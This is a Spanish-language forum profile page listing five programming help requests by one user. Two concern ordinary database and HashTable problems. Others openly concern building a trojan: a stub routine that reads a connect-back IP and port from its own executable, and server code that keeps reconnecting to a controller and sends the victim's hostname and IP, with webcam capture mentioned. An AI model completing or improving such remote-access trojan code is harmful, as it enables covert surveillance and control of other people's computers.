Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Kasi

#1
Buenas tardes, estoy diseñando el modelo E/R de una BD que tengo en mente, y me ha llegado a la cabeza la siguiente duda:

Supongamos que en mi aplicación se pueden dar de alta documentos, y dichos documentos deben pertenecer a una categoría.
A su vez, para clasificar mejor aun esos documentos, cada documento, puede pertenecer a una o varias subcategorías relacionadas con la categoria principal(La subcategoria puede estar en varias categorías también).

La duda es como crear la relación para este caso ya que no estoy seguro de que lo que tengo sea lo mejor para hacerlo:
¿Sería esta la manera correcta de plantear el problema?


Un saludo y gracias anticipadas.
#2
Muy buenas a todos, hace algún tiempo que empecé a diseñar una aplicación que tiene una pequeña estructura donde guardo información.
Para guardar todas las instancias de la estructura utilizo un HashTable donde agrego cada instancia.
HashTable(Id,Nombre de la Instancia)

El problema viene que a medida que voy generando instancias de esa estructura y rellenandolas, en principio todo funciona perfectamente, la primera vez que intento recuperar datos de alguna instancia los recupera bien, pero si los intento recuperar una segunda vez por ejemplo, de una instancia que ya he consultado antes, no contiene nada...solo devuelve correctamente el thread que la maneja, pero de las variables que almacenan datos(strings y demas...) no obtiene nada.He revisado el código de arriba a abajo por si en algun momento hago algo que pueda sobreescribir la instancia dentro del HashTable, pero nada.

¿Alguien sabe a que puede deberse? Ya no me quedan mas ideas para probar x_X

Saludos y gracias.
#3
Muy buenas, verán tengo un problema con un pequeño código de un editor de servers, se que este no es el foro de malware, pero el lenguajes es el de este foro, y creo que aquí podre encontrar mas ayuda.

El problema llega a la hora de leer un fichero que ya está en uso por algun proceso, en este caso el fichero seria el mismo ejecutable.

Public Sub EditarServer()
       On Error Resume Next 'Si le quito el resume salta el error
       Dim Yo As String
       Dim Partes As Object
       Dim SubFirma As String
       SubFirma = "@#~~#@"

       FileOpen(1, My.Application.Info.DirectoryPath & "\" & My.Application.Info.AssemblyName & ".exe", OpenMode.Binary)
       Yo = Space(LOF(1))
       FileGet(1, Yo)
       FileClose(1)

       Partes = Split(Yo, SubFirma)
       IPDelHost = Partes(1)
       PuertoDelHost = Partes(2)
   End Sub


Hay que tratar los ficheros de algun otro modo?

Saludos y gracias.
#4
Buenas, tengo un problemilla a la hora de "controlar" los winsocks, el problema es el siguiente:

En una aplicación cliente-servidor, la parte cliente tiene 2 opciones, una es la de desconectar todos los winsocks de diferentes servidores conectados hasta el momento en el cliente, con esto no hay problema.

El problema me viene cuando quiero desconectar solo un determinado winsock que yo elija.

Todas las conexiones establecidas se guardan en un listview , ¿ como puedo saber el index de la conexión que quiero eliminar para mandarle el comando de desconexón al server  :-\.

Saludos
#5
Hola muy buenas, vereis hace poco empecé a adentrarme en el mundillo de los troyanos  y similares, encontré el source de un  file manager de E0N y a partir de ahi lo adapte y añadí mas funciones , actualmente estoy haciendo la parte de capturar la camara web, pero bueno al grano.

El problema viene cuando la parte del servidor se queda abierta a la espera de que conecte al cliente, si la aplicación cliente no está abierta, el server empieza a sobrecargarse de tal manera que cada vez empieza a comer mas memoria hasta que llega a un extremo altisimo.

La manera de la que conecta es la misma que trae el file manager nombrado antes, no la he tocado, lo unico que hice fue sustituir los winsock por el CsocketMaster, y desde entonces es cuando empezó a tener ese problema, ademas de que la conexión tarda mas en establecerse.

He recorrido medio foro buscando a ver si encontraba algun metodo de establecer una conexión mas estable,rapida y que se sobrecargue menos.

Si pudierais echarme un cable o decirme algun metodo para hacerlo, me seria de mucha ayuda.

Gracias por adelantado, aqui  dejo el codigo de como esta actualmente el server para establecer la conexión.



Private Sub Timer1_Timer()
On Error Resume Next
If ws.State <> 7 Then 'Si estas desconectado.
ws.CloseSck 'ws.CloseSck  'Cerramos la conexión.
ws.Connect ip, port 'Y nos conectamos
Timer2.Enabled = True 'Desbloqueamos el timer2.
End If 'Cerramos el if
End Sub

Private Sub Timer2_Timer()
On Error Resume Next
If ws.State = 7 Then 'Si estas Conectado.
ws.SendData "hola|" & ws.LocalHostName & "|" & ws.LocalIP
Sleep 10
Timer2.Enabled = False
End If
End Sub


Tenia pensado el quitar esa parte y hacerla de nuevo , sin usar timer(no se si será recomendable o posible) y usando los eventos del ws , connect, disconnect, etc..


Saludos y gracias